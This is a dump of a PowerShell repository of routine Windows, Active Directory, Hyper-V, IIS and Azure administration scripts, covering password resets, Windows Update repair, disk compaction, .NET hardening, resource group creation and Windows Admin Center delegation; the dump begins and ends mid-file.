15 | $usersAdminCount = Get-ADUser -Filter {(adminCount -eq 1) -and (SamAccountName -ne 'krbtgt')} -Properties adminCount, MemberOf
16 |
17 | # Check each user to ensure they are not members of the identified groups
18 | $usersNotInAdminCountGroups = foreach ($user in $usersAdminCount) {
19 | $isInGroup = $false
20 | foreach ($group in $groupsAdminCount) {
21 | if ($user.MemberOf -contains $group.DistinguishedName) {
22 | $isInGroup = $true
23 | break
24 | }
25 | }
26 | if (-not $isInGroup) {
27 | $user
28 | }
29 | }
30 |
31 | # Depending on the RemoveAdminCount switch, remove the adminCount attribute or list the users
32 | if ($RemoveAdminCount) {
33 | foreach ($user in $usersNotInAdminCountGroups) {
34 | Set-ADUser -Identity $user.DistinguishedName -Clear adminCount
35 | Write-Host "Removed adminCount for user: $($user.Name)"
36 | }
37 | } else {
38 | # Output the filtered users
39 | Write-Host "Users with adminCount set but not in groups with adminCount set (excluding krbtgt):"
40 | $usersNotInAdminCountGroups | Select-Object Name, DistinguishedName, adminCount
41 | }
42 |
--------------------------------------------------------------------------------
/.vscode/launch.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "0.2.0",
3 | "configurations": [
4 | {
5 | "type": "PowerShell",
6 | "request": "launch",
7 | "name": "PowerShell Launch Current File",
8 | "script": "${file}",
9 | "args": [],
10 | "cwd": "${file}"
11 | },
12 | {
13 | "type": "PowerShell",
14 | "request": "launch",
15 | "name": "PowerShell Launch Current File in Temporary Console",
16 | "script": "${file}",
17 | "args": [],
18 | "cwd": "${file}",
19 | "createTemporaryIntegratedConsole": true
20 | },
21 | {
22 | "type": "PowerShell",
23 | "request": "launch",
24 | "name": "PowerShell Launch Current File w/Args Prompt",
25 | "script": "${file}",
26 | "args": [
27 | "${command:SpecifyScriptArgs}"
28 | ],
29 | "cwd": "${file}"
30 | },
31 | {
32 | "type": "PowerShell",
33 | "request": "launch",
34 | "name": "PowerShell Interactive Session",
35 | "cwd": "${workspaceRoot}"
36 | },
37 | {
38 | "type": "PowerShell",
39 | "request": "launch",
40 | "name": "PowerShell Pester Tests",
41 | "script": "Invoke-Pester",
42 | "args": [],
43 | "cwd": "${workspaceRoot}"
44 | },
45 | {
46 | "type": "PowerShell",
47 | "request": "attach",
48 | "name": "PowerShell Attach to Host Process",
49 | "processId": "${command:PickPSHostProcess}",
50 | "runspaceId": 1
51 | }
52 | ]
53 | }
--------------------------------------------------------------------------------
/Scripts/Windows Installation Media/XMLConfigFIle.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | D:\DeploymentShare\Operating Systems\Windows Server 2012 R2 Evaluation
6 | Windows Server 2012 R2 Standard Evaluation (Server with a GUI)
7 |
8 |
9 | D:\DeploymentShare\Operating Systems\Windows Server 2016 Evaluation
10 | Windows Server 2016 Standard Evaluation (Desktop Experience)
11 |
12 |
13 | D:\DeploymentShare\Operating Systems\Windows Server 2019 Evaluation
14 | Windows Server 2019 Standard Evaluation (Desktop Experience)
15 |
16 |
17 | D:\DeploymentShare\Operating Systems\Windows 10 Enterprise LTSC 2019 Evaluation
18 | Windows 10 Enterprise LTSC
19 |
20 |
21 |
22 | D:\DeploymentShare\Captures
23 | D:\Staging
24 | D:\Share
25 | C:\Program Files (x86)\Windows Kits\10\Assessment and Deployment Kit\Deployment Tools\amd64\Oscdimg\oscdimg.exe
26 | True
27 | True
28 |
29 |
--------------------------------------------------------------------------------
/Examples/ResourceGroupBytemplate.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .SYNOPSIS
3 | Creates a cost budget for a given resource group
4 | .DESCRIPTION
5 | Creates a monthly budget and notifies Contributors and Readers when the given threshold is reached
6 | .PARAMETER rgName
7 | Resource group the budget will be created for
8 | .PARAMETER budgetAmount
9 | Monthly budget you want to spend on this resource group
10 | .PARAMETER budgetThreshold
11 | Notification threshold for the given budget
12 | #>
13 |
14 | [CmdletBinding(DefaultParametersetName='none')]
15 | Param(
16 | [Parameter(Mandatory = $true)][ValidateNotNullOrEmpty()][string]$rgName,
17 | [Parameter(ParameterSetName='createBudget', Mandatory = $true)][ValidateRange(1,100000)][int]$budgetAmount,
18 | [Parameter(ParameterSetName='createBudget', Mandatory = $true)][ValidateRange(1,100)][int]$budgetThreshold
19 | )
20 |
21 | # Budget ARM template URI
22 | $budgetTemplateUri = "https://raw.githubusercontent.com/Azure/azure-quickstart-templates/master/create-budget/azuredeploy.json"
23 |
24 | # Create budget for given resource group
25 | # The budget is created by using an ARM template. It is possible to create budgets using ARM API directly but this means dealing with API authentication
26 | # Azure PowerShell module cannot share credentials with ARM API which means the necessary token must be acquired seperately e.g. by using ARMClient.exe
27 | # The start date must be first of the month and should be less than the end date.
28 | $budgetParams = @{
29 | budgetName = "$rgName-budget"
30 | amount = "$budgetAmount"
31 | budgetCategory = "Cost"
32 | timeGrain = "Monthly"
33 | startDate = "$(Get-Date -Day 1 -Format "yyyy-MM-dd")"
34 | endDate = ""
35 | operator = "GreaterThanOrEqualTo"
36 | threshold = "$budgetThreshold"
37 | contactEmails = @()
38 | contactRoles = "Contributor","Reader"
39 | contactGroups = @()
40 | resourcesFilter = @()
41 | metersFilter = @()
42 | }
43 |
44 | # Run ARM resource group deployment
45 | $ArmDeployment = New-AzResourceGroupDeployment -Name "initial-budget-$rgName" -ResourceGroupName $rgName -TemplateUri $budgetTemplateUri -TemplateParameterObject $budgetParams
--------------------------------------------------------------------------------
/Functions/Repair-WindowsUpdate.ps1:
--------------------------------------------------------------------------------
1 | function Repair-WindowsUpdate {
2 | Set-Service -Name wuauserv -StartupType Manual
3 | Set-Service -Name BITS -StartupType Manual
4 |
5 | switch ( Get-Service -Name BITS ) {
6 | { $_.Status -eq 'Running' } { Stop-Service -Name BITS -Force }
7 | }
8 |
9 | switch ( Get-Service -Name wuauserv ) {
10 | { $_.Status -eq 'Running' } { Stop-Service -Name wuauserv -Force }
11 | }
12 |
13 | switch ( Test-Path -Path "C:\Windows\SoftwareDistribution" -PathType Container ) {
14 | $true { Remove-Item -Path "C:\Windows\SoftwareDistribution\*" -Recurse -Force -ErrorAction SilentlyContinue }
15 | }
16 |
17 | switch ( Test-Path -Path "C:\Windows\WindowsUpdate.log" -PathType Leaf ) {
18 | $true { Remove-Item -Path "C:\Windows\WindowsUpdate.log" -Force -ErrorAction SilentlyContinue }
19 | }
20 |
21 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\atl.dll }
22 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\jscript.dll }
23 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\msxml3.dll }
24 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\softpub.dll }
25 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuapi.dll }
26 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng.dll }
27 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuaueng1.dll}
28 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wucltui.dll }
29 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wups.dll }
30 | Invoke-Command -ScriptBlock { C:\Windows\system32\regsvr32.exe /s %windir%\system32\wuweb.dll }
31 |
32 | switch ( Get-Service -Name BITS ) {
33 | { $_.Status -eq 'Stopped' } { Start-Service -Name BITS -Force }
34 | }
35 |
36 | switch ( Get-Service -Name wuauserv ) {
37 | { $_.Status -eq 'Stopped' } { Start-Service -Name wuauserv -Force }
38 | }
39 | }
--------------------------------------------------------------------------------
/Scripts/Set-ADResetPasswordAtLogon.ps1:
--------------------------------------------------------------------------------
1 | #requires -Module ActiveDirectory
2 |
3 | <#PSScriptInfo
4 | .VERSION 1.0
5 | .GUID 6de67fa4-ce51-4410-b34b-527f8ff9b20b
6 | .AUTHOR Michael Waterman
7 | .COMPANYNAME None
8 | .COPYRIGHT
9 | .TAGS Active Directory, Users, Passwords, Reset
10 |
11 | .NOTES
12 | AUTHOR: Michael Waterman
13 | Blog: https://michaelwaterman.nl
14 | LASTEDIT: 09-01-2024
15 | #>
16 |
17 |
18 |
19 | <#
20 | .SYNOPSIS
21 | This PowerShell script sets the "Reset Password at Next Logon" attribute for all user objects in a specified Organizational Unit (OU) in Active Directory.
22 |
23 | .DESCRIPTION
24 | This script takes an Organizational Unit (OU) path as a parameter and retrieves all user objects within that OU. It then sets the "Reset Password at Next Logon" attribute to $true for each user in the specified OU. You can use this script to enforce password changes for users in a specific OU.
25 |
26 | .PARAMETER ouPath
27 | Specifies the path to the Organizational Unit (OU) where the user objects are located in Active Directory.
28 |
29 | .EXAMPLE
30 | .\Set-ADResetPasswordAtLogon.ps1 -ouPath "OU=Users,DC=YourDomain,DC=com"
31 | This example sets the "Reset Password at Next Logon" attribute to $true for all user objects in the "Users" OU in the "YourDomain.com" domain.
32 |
33 | #>
34 |
35 | param (
36 | [Parameter(Mandatory=$true)]
37 | [string]$ouPath
38 | )
39 |
40 | # Use the Get-ADUser cmdlet to retrieve all user objects within the specified OU
41 | $users = Get-ADUser -Filter * -SearchBase $ouPath -Properties * -ResultPageSize 256
42 |
43 | # Check if $users is empty
44 | if ($users.Count -eq 0) {
45 | Write-Error "No user objects found in the specified OU: $ouPath"
46 | return
47 | }
48 |
49 | # Loop through the user objects and set the "Reset Password at Next Logon" attribute
50 | foreach ($user in $users) {
51 | # Set the "Reset Password at Next Logon" attribute to $true
52 | Set-ADUser -Identity $user -ChangePasswordAtLogon $true
53 |
54 | # Display user properties if verbose is used
55 | Write-Verbose "Setting 'Reset Password at Next Logon' for $($user.Name)"
56 | }
57 |
--------------------------------------------------------------------------------
/Scripts/Convert-PingCastleToCSV.ps1:
--------------------------------------------------------------------------------
1 | # Parameter input
2 | ##############################################################################################
3 | [CmdletBinding(DefaultParameterSetName="Default")]
4 | param(
5 | [Parameter(
6 | Mandatory=$true
7 | )]
8 | [string]$XMLFile,
9 | [Parameter(
10 | Mandatory=$true
11 | )]
12 | [string]$Path
13 | )
14 | ##############################################################################################
15 |
16 |
17 | # Check input file
18 | ##############################################################################################
19 | Test-Path $XMLFile -ErrorAction Stop | Out-Null
20 | ##############################################################################################
21 |
22 |
23 | # Check Output diectory
24 | ##############################################################################################
25 | If(-not (Test-Path $Path) ){
26 | New-Item -Path $XMLFile -ItemType Directory -ErrorAction Stop | Out-Null
27 | }
28 | ##############################################################################################
29 |
30 |
31 | # Process the XML file
32 | ##############################################################################################
33 | $HealthcheckRiskRules = (Select-Xml -Path $XMLFile -XPath "/HealthcheckData/RiskRules/HealthcheckRiskRule").node
34 | $CsvObj = $HealthcheckRiskRules | Select-Object -Property "Rationale", "Category", "Points", "Health Impact", "Workload", "Priority", "Actions", "Hours", "Owner", "Status", "Remarks"
35 | ##############################################################################################
36 |
37 |
38 | # Export the file
39 | ##############################################################################################
40 | $DateTime = (([datetime](Select-Xml -Path $XMLFile -XPath *).node.GenerationDate).DateTime).ToString().replace(':',' ')
41 | $NetBiosName = ((Select-Xml -Path $XMLFile -XPath *).node.NetBiosName).ToLower()
42 | $WriteFilePath = (Join-Path -Path $Path -ChildPath $($NetBiosName + " - " + $DateTime + ".csv") )
43 |
44 | $CsvObj | Export-Csv -Path $WriteFilePath -NoTypeInformation -Delimiter ';'
45 | ##############################################################################################
--------------------------------------------------------------------------------
/Scripts/Compact-VirtualDisks.ps1:
--------------------------------------------------------------------------------
1 | #Requires -RunAsAdministrator
2 |
3 | <#PSScriptInfo
4 | .VERSION 1.0
5 | .GUID 138c1d25-5e80-4118-9cdb-3e5aa185380e
6 | .AUTHOR Michael Waterman
7 | .COMPANYNAME None
8 | .COPYRIGHT
9 | .TAGS Hyper-v, vhd, vhdx, compact
10 | #>
11 |
12 | <#
13 | .SYNOPSIS
14 | Compact vhdx virtual disk files.
15 |
16 | .DESCRIPTION
17 | This script list alls VMs and attached disks and compacts them. At the end it will display the
18 | gained disk space.
19 |
20 | .EXAMPLE
21 | Compact-VirtualDisks.ps1
22 | Obtain all local VMs, obtain all virtual disks and compact them.
23 |
24 | .NOTES
25 | AUTHOR: Michael Waterman
26 | Blog: https://michaelwaterman.nl
27 | LASTEDIT: 2024.06.13
28 |
29 | #>
30 |
31 | # Get all the virtual machines
32 | $VirtualMachines = Get-VM
33 |
34 | foreach($VirtualMachine in $VirtualMachines){
35 |
36 | # Stop the machine if running
37 | If( $VirtualMachine.State -eq "Running"){
38 | $State = "Running"
39 | Stop-VM -Name $VirtualMachine.VMName -Force
40 | while ((get-vm -name $VirtualMachine.VMName).state -ne 'Off'){
41 | start-sleep -s 5
42 | }
43 | } Else {
44 | $State = $null
45 | }
46 |
47 | # Get all the Virtual Disks
48 | $VirtualDisks = Get-VMHardDiskDrive -VMName $VirtualMachine.name
49 |
50 | # Compact the virtual disks
51 | foreach($VirtualDisk in $VirtualDisks){
52 | #get the initial size of the disk
53 | $PreSize = (Get-Item -Path $VirtualDisk.Path).Length/1mb
54 |
55 | # Compact the disk
56 | Optimize-VHD -Path $VirtualDisk.Path -Mode Full -Verbose
57 |
58 | # Get the new disk size
59 | $PostSize = (Get-Item -Path $VirtualDisk.Path).Length/1mb
60 |
61 | # Calculate the size difference
62 | $SizeDiff = $PreSize - $PostSize
63 | }
64 |
65 | # Start the VM again if it was running before maintenance
66 | If($State -eq "Running"){
67 | Start-VM $VirtualMachine.VMName
68 | while ((get-vm -name $VirtualMachine.VMName).state -ne 'Running') { start-sleep -s 5 }
69 | }
70 |
71 | # Reset variables
72 | $SavedDiskSpace += $SizeDiff
73 | $PreSize = $null
74 | $PostSize = $null
75 | $SizeDiff = $null
76 | $State = $null
77 | }
78 |
79 | # Display the difference in Gigabytes
80 | Write-Host -ForegroundColor Green "Saved diskspace: $([math]::Round($SavedDiskSpace/1024,2)) Gigabyte"
--------------------------------------------------------------------------------
/Scripts/Get-NetPortsProperties.ps1:
--------------------------------------------------------------------------------
1 | $Computername = $($env:COMPUTERNAME)
2 | $Output = @()
3 | $Service = $null
4 | $TCPConnections = $null
5 | $UDPConnections = $null
6 |
7 | $TCPConnections = Get-NetTCPConnection | where { ($_.LocalAddress -notmatch "::" -and $_.LocalAddress -notmatch "0.0.0.0" -and $_.LocalAddress -notmatch "127.0.0.1") }
8 | $UDPConnections = Get-NetUDPEndpoint | where { ($_.LocalAddress -NotMatch "::") -and ($_.LocalAddress -NotMatch "0.0.0.0") -and ($_.LocalAddress -NotMatch "127.0.0.1") }
9 |
10 | foreach($TCPConnection in $TCPConnections){
11 |
12 | $Process = Get-Process -id $($TCPConnection.OwningProcess) | select Name, Path
13 | if($Process.Name -like "svchost"){
14 | $Service = (Get-WmiObject -Class Win32_Service -Filter "ProcessId='$($TCPConnection.OwningProcess)'" | select -ExpandProperty Name) -join ", "
15 | }
16 |
17 | $Hashtable = @{
18 | Path = $($Process.Path)
19 | "Local IPAddress" = $($TCPConnection.LocalAddress)
20 | "Local Port" = $($TCPConnection.LocalPort)
21 | "Remote IPAddress" = $($TCPConnection.RemoteAddress)
22 | "Remote Port" = $($TCPConnection.RemotePort)
23 | "TCP State" = $($TCPConnection.State)
24 | ProcessName = $($Process.Name)
25 | PID = $($TCPConnection.OwningProcess)
26 | "SVCHost Services" = $($Service)
27 | Protocol = "TCP"
28 | ComputerName = $Computername
29 | }
30 |
31 | if($($Hashtable.ProcessName) -ne "Idle"){
32 | $OutPut += [pscustomobject]$Hashtable
33 | }
34 |
35 | $Service = $null
36 | }
37 |
38 |
39 | ## Process all UDP Connections
40 | foreach($UDPConnection in $UDPConnections){
41 |
42 | $Process = Get-Process -id $($UDPConnection.OwningProcess) | select Name, Path
43 | if($Process.Name -like "svchost"){
44 | $Service = (Get-WmiObject -Class Win32_Service -Filter "ProcessId='$($UDPConnection.OwningProcess)'" | select -ExpandProperty Name) -join ", "
45 | }
46 |
47 | $Hashtable = @{
48 | Path = $($Process.Path)
49 | "Local IPAddress" = $($UDPConnection.LocalAddress)
50 | Port = $($UDPConnection.LocalPort)
51 | ProcessName = $($Process.Name)
52 | PID = $($UDPConnection.OwningProcess)
53 | "SVCHost Services" = $($Service)
54 | Protocol = "UDP"
55 | ComputerName = $Computername
56 | }
57 |
58 | if($($Hashtable.ProcessName) -ne "Idle"){
59 | $OutPut += [pscustomobject]$Hashtable
60 | }
61 |
62 | $Service = $null
63 | }
64 |
65 | $Output | Sort-Object -Property Processname, Port | Select ComputerName, Processname, Path, PID, "SVCHost Services", "Local IPAddress", "Local Port", "Remote IPAddress", "Remote Port", Protocol, "TCP State" | Out-GridView
--------------------------------------------------------------------------------
/Scripts/DotNetHardening.ps1:
--------------------------------------------------------------------------------
1 | #Setting variables
2 | $State=146432
3 | $Profiles="C:\Users\.NET v4.5", "C:\Users\.NET v4.5 Classic"
4 |
5 | # Regex pattern for SIDs
6 | $PatternSID = 'S-1-5-21-\d+-\d+-\d+-\d+$'
7 |
8 | # Get Username, SID, and location of ntuser.dat for all users
9 | $ProfileList = gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*' | Where-Object {$_.PSChildName -match $PatternSID} |
10 | Select @{name="SID";expression={$_.PSChildName}},
11 | @{name="UserHive";expression={"$($_.ProfileImagePath)\ntuser.dat"}},
12 | @{name="Username";expression={$_.ProfileImagePath -replace '^(.*[\\\/])', ''}}
13 |
14 | # Get all user SIDs found in HKEY_USERS (ntuder.dat files that are loaded)
15 | $LoadedHives = gci Registry::HKEY_USERS | ? {$_.PSChildname -match $PatternSID} | Select @{name="SID";expression={$_.PSChildName}}
16 |
17 | # Get all users that are not currently logged
18 | $UnloadedHives = Compare-Object $ProfileList.SID $LoadedHives.SID | Select @{name="SID";expression={$_.InputObject}}, UserHive, Username
19 |
20 | # Loop through each profile on the machine
21 | Foreach ($item in $ProfileList) {
22 | # Load User ntuser.dat if it's not already loaded
23 | IF ($item.SID -contains $UnloadedHives.SID) {
24 | reg load HKU\$($Item.SID) $($Item.UserHive) | Out-Null
25 | }
26 |
27 | #####################################################################
28 | # This is where you can read/modify a users portion of the registry
29 |
30 | New-ItemProperty -Path "registry::HKEY_USERS\$($Item.SID)\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing" -Name State -PropertyType DWord -Value $State -Force
31 |
32 | #####################################################################
33 |
34 | # Unload ntuser.dat
35 | IF ($item.SID -contains $UnloadedHives.SID) {
36 | ### Garbage collection and closing of ntuser.dat ###
37 | [gc]::Collect()
38 | reg unload HKU\$($Item.SID) | Out-Null
39 | }
40 | }
41 |
42 |
43 | # because the .Net Accounts do not show up in the SID list, we use the trick below to set the registry keys
44 | foreach ($item in $Profiles)
45 | {
46 | $Checkpath = Test-Path $item
47 |
48 | if ($Checkpath)
49 | {
50 | #Load the User Hive
51 | reg.exe load HKLM\TempHive "$item\ntuser.dat" | Out-Null
52 |
53 | #Write the Registry Key
54 | New-ItemProperty -Path "registry::HKEY_LOCAL_MACHINE\TempHive\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing" -Name State -PropertyType DWord -Value $State -Force
55 | [gc]::Collect()
56 |
57 | #Unload ntuser.dat
58 | reg.exe unload HKLM\TempHive | Out-Null
59 | }
60 | }
--------------------------------------------------------------------------------
/Scripts/Move_IIS.ps1:
--------------------------------------------------------------------------------
1 | #// Get new drive letter from parameters
2 | PARAM (
3 | [Parameter(Mandatory=$True)]
4 | [string]$NewDrive,
5 | [Parameter(Mandatory=$False)]
6 | [switch]$Force
7 | )
8 |
9 | #// Ensure the parameter is a sinlge character
10 | if ($NewDrive.Length -ne 1) {
11 | $NewDrive = $NewDrive.Substring(0,1)
12 | }
13 |
14 | #// Create variables
15 | $OldPath = "%SystemDrive%\inetpub"
16 | $NewPath = $NewDrive+":\inetpub"
17 |
18 | #// Check new drive actually exists
19 | if (!(Test-Path $NewDrive":\")) {
20 | Write-Host "ERROR:"$NewDrive":\ drive does not exist, stopping"
21 | Exit
22 | }
23 |
24 | #// Test if already exists or Force param present
25 | if (!($Force) -And (Test-Path $NewPath)) {
26 | Write-Host "ERROR: $NewPath already exists, halting move"
27 | Exit
28 | }
29 |
30 | #// Check IIS Installed
31 | if ((Get-WindowsFeature -Name Web-Server).InstallState -ne "Installed") {
32 | Write-Host "ERROR: IIS not installed, stopping"
33 | Exit
34 | }
35 |
36 | #// stop services
37 | Write-Host "INFO: Stopping IIS"
38 | $StopIIS = &iisreset /stop
39 |
40 | #// move inetpub directory
41 | Write-Host "INFO: Moving inetpub directoy to $NewPath"
42 | $MoveFiles = &Robocopy C:\inetpub $NewPath *.* /MOVE /S /E /COPYALL /R:0 /W:0
43 |
44 | #// Add file C:\inetpub\Moved_to_Disk_$NewDrive
45 | Write-Host "INFO: Adding movedto file"
46 | $NewDir = New-Item "C:\inetpub" -type directory
47 | $NewFile = Out-File C:\inetpub\Moved_to_Disk_$NewDrive
48 |
49 | #// modify reg
50 | Write-Host "INFO: Updating Registry"
51 | $RegUpdate = New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\InetStp" -Name "PathWWWRoot" -Value $NewPath"\wwwroot" -PropertyType ExpandString -Force
52 | $RegUpdate = New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\WAS\Parameters" -Name "ConfigIsolationPath" -Value $NewPath"\temp\appPools" -PropertyType String -Force
53 | $RegUpdate = New-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\InetStp" -Name "PathWWWRoot" -Value $NewPath"\wwwroot" -PropertyType ExpandString -Force
54 |
55 | #// Backup and modify applicationHost.config file
56 | Write-Host "INFO: Backing up config file"
57 | copy-item C:\Windows\System32\inetsrv\config\applicationHost.config C:\Windows\System32\inetsrv\config\applicationHost.config.bak
58 | Start-Sleep 5
59 |
60 | #// Replace "%SystemDrive%\inetpub" with $NewDrive":\inetpub"
61 | Write-Host "INFO: Updating config file"
62 | (Get-Content C:\Windows\System32\inetsrv\config\applicationHost.config).replace("$OldPath","$NewPath") | Set-Content C:\Windows\System32\inetsrv\config\applicationHost.config
63 |
64 | #// Update IIS Config
65 | Write-Host "INFO: Updating appcmd config"
66 | $UpdateConfig = &C:\Windows\system32\inetsrv\appcmd set config -section:system.applicationhost/configHistory -path:$NewPath\history
67 |
68 | #// Start services
69 | Write-Host "INFO: Starting IIS"
70 | $StartIIS = &iisreset /start
71 |
72 | Write-Host "INFO: Completed"
73 |
--------------------------------------------------------------------------------
/Scripts/Set-RandomPasswordForGroup.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Modules ActiveDirectory
2 | #Requires -Version 5.1
3 |
4 | <#PSScriptInfo
5 | .VERSION 1.0
6 | .GUID f010f7b0-b940-4c77-be46-75e23a9d9c5c
7 | .AUTHOR Michael Waterman
8 | .COMPANYNAME None
9 | .COPYRIGHT
10 | .TAGS Active Directory, Users, Passwords, Passwordless
11 | #>
12 |
13 | <#
14 | .SYNOPSIS
15 | Randomize passwords for AD Users.
16 |
17 | .DESCRIPTION
18 | This script can set random passwords for user objects that are part of an
19 | Active Directory security group. This script is part of the last step for
20 | the implementation of passwordless authentication.
21 |
22 | .EXAMPLE
23 | Set-RandomPasswordForGroup.ps1 -GroupName "Group name" -PasswordLength 25
24 | Sets a new random password, that's 20 characters in length for all the users in the security group. Both
25 | parameters are mandatory.
26 |
27 | .EXAMPLE
28 | Set-RandomPasswordForGroup.ps1 -GroupName "Group name" -PasswordLength 25 -Debug
29 | Same as the previous example, but the debug parameter will display the user and the new password.
30 |
31 | .NOTES
32 | AUTHOR: Michael Waterman
33 | Blog: https://michaelwaterman.nl
34 | LASTEDIT: 2025.03.11
35 | #>
36 |
37 | [CmdletBinding(DefaultParameterSetName="Default")]
38 | param(
39 | [Parameter(
40 | Mandatory=$true
41 | )]
42 | [string]$GroupName,
43 | [Parameter(
44 | Mandatory=$true
45 | )]
46 | [int]$PasswordLength
47 | )
48 |
49 | Function Get-RandomPassword
50 | {
51 | #define parameters
52 | param([Parameter(ValueFromPipeline=$false)][ValidateRange(1,256)][int]$PasswordLength = 10)
53 |
54 | #ASCII Character set for Password.
55 | $CharacterSet = @{
56 | Lowercase = (97..122) | Get-Random -Count 10 | % {[char]$_}
57 | Uppercase = (65..90) | Get-Random -Count 10 | % {[char]$_}
58 | Numeric = (48..57) | Get-Random -Count 10 | % {[char]$_}
59 | SpecialChar = (33..47)+(58..64)+(91..96)+(123..126) | Get-Random -Count 10 | % {[char]$_}
60 | }
61 |
62 | #Frame Random Password from given character set.
63 | $StringSet = $CharacterSet.Uppercase + $CharacterSet.Lowercase + $CharacterSet.Numeric + $CharacterSet.SpecialChar
64 |
65 | -join(Get-Random -Count $PasswordLength -InputObject $StringSet)
66 | }
67 |
68 | # get all the group members.
69 | $GroupMembers = Get-ADGroupMember -Identity $GroupName
70 |
71 | # Parse all the members and set a new random password.
72 | Foreach ($Member in $GroupMembers){
73 | $NewPassword = Get-RandomPassword -PasswordLength $PasswordLength
74 |
75 | Write-Debug $Member.name
76 | Write-Debug $NewPassword
77 |
78 | Set-ADAccountPassword -Reset `
79 | -Identity $Member.distinguishedName `
80 | -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
81 | }
--------------------------------------------------------------------------------
/Scripts/Azure/Create-AzureResourcegroup.ps1:
--------------------------------------------------------------------------------
1 | [CmdletBinding()]
2 | param (
3 | [Parameter(Mandatory=$false)]
4 | [string]$Tenant,
5 |
6 | [Parameter(Mandatory=$false)]
7 | [string]$Subscription,
8 |
9 | [Parameter(Mandatory=$false)]
10 | [string]$ResourceGroupprefix,
11 |
12 | [Parameter(Mandatory=$true)]
13 | [string]$ResourceGroupSuffix,
14 |
15 | [Parameter(Mandatory=$false)]
16 | [string]$ResourceGroupLocation,
17 |
18 | [Parameter(Mandatory=$true)]
19 | [string]$ContributorName
20 | )
21 |
22 | $ResourceGroup = ( ($ResourceGroupprefix).ToUpper() + ($ResourceGroupSuffix).ToUpper() )
23 | $ErrorActionPreference = "Stop"
24 |
25 | function Test-AzContext ([string]$Tenant, [string]$Subscription) {
26 |
27 | switch ( [string]::IsNullOrEmpty( ( Get-AzContext ) ) )
28 | {
29 | $false
30 | {
31 | Write-Verbose "Authentication to Azure successfully established."
32 | }
33 | $true
34 | {
35 | Connect-AzAccount -Tenant $Tenant `
36 | -Subscription $Subscription `
37 | }
38 | }
39 | }
40 |
41 | Test-AzContext -Tenant $Tenant -Subscription $Subscription
42 |
43 | ## Check the Azure location
44 | try {
45 | switch -Exact ( ( (Get-AzLocation).location).ToLower().Contains( ($ResourceGroupLocation).ToLower() ) ) {
46 | $true { Write-Verbose -Message "Using region $ResourceGroupLocation" }
47 | $false { Write-Error -Message "Azure location could not be located." }
48 | }
49 | }
50 | catch {
51 | Write-Error -Message $Error[0].Exception.Message
52 | }
53 |
54 |
55 | ## Get All the Resource Groups
56 | $ResourceGroups = Get-AzResourceGroup
57 |
58 | ## Create the Resource Group
59 | try {
60 | switch -Exact ( ( ( ($ResourceGroups.ResourceGroupName).ToUpper() ) ).Contains( ($ResourceGroup).ToUpper() ) ) {
61 | $true { Write-Error -Message "Resource Group Already Exists" }
62 | $false { $ResourceGroup = New-AzResourceGroup -Name $ResourceGroup `
63 | -Location $ResourceGroupLocation }
64 | }
65 | }
66 | catch {
67 | Write-Error -Message $Error[0].Exception.Message
68 | }
69 |
70 | ## Give the user the contributor role
71 | try {
72 | switch -Exact ( (get-azaduser -UserPrincipalName $ContributorName).UserPrincipalName.ToUpper().Contains( ($ContributorName).ToUpper() ) ) {
73 | $true { New-AzRoleAssignment -ResourceGroupName $($ResourceGroup).ResourceGroupName `
74 | -SignInName $ContributorName `
75 | -RoleDefinitionName Contributor }
76 | $false { Write-Error -Message "The Contributor name could not be located"}
77 | }
78 | }
79 | catch {
80 | Write-Error -Message $Error[0].Exception.Message
81 | }
82 |
83 | ## Tag the Resource Group
84 | try {
85 | Set-AzResourceGroup -Name $($ResourceGroup).ResourceGroupName `
86 | -Tag @{"Resource Owner"=$((get-azaduser -UserPrincipalName $ContributorName).DisplayName);"Creation Date"=(get-date -Format ("MM-dd-yyyy"))}
87 | }
88 | catch {
89 | Write-Error -Message $Error[0].Exception.Message
90 | }
91 |
92 |
--------------------------------------------------------------------------------
/Scripts/Manage-WindowsAdminCenterDelgation.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Modules ActiveDirectory
2 |
3 | <#PSScriptInfo
4 | .VERSION 1.0
5 | .GUID b4b1fb4c-c0ad-4d10-b0d4-3716e7d30263
6 | .AUTHOR Michael Waterman
7 | .COMPANYNAME None
8 | .COPYRIGHT
9 | .TAGS Active Directory, Windows Admin Center, WAC, Kerberos, Delgation
10 | #>
11 |
12 | <#
13 | .SYNOPSIS
14 | Sets the Constrained Delegation for Windows Admin Center.
15 |
16 | .DESCRIPTION
17 | This script can sets the resource-based kerberos constrained delegation for each node
18 | that is stored in an organisational unit.
19 |
20 | .EXAMPLE
21 | Manage-WindowsAdminCenterDelgation.ps1 -Computername "prod-mgmt" -Identity "OU=Servers,DC=corp,DC=Domain,DC=Com"
22 | Get all the enabled servers in the given OU, sets the constratined delegation for the Windows Admin
23 | Center host "prod-mgmt" in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
24 |
25 | .EXAMPLE
26 | Manage-WindowsAdminCenterDelgation.ps1 -Clean -Identity "OU=Servers,DC=corp,DC=Domain,DC=Com"
27 | Get all the enabled servers in the given OU, and cleans
28 | the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
29 |
30 | .EXAMPLE
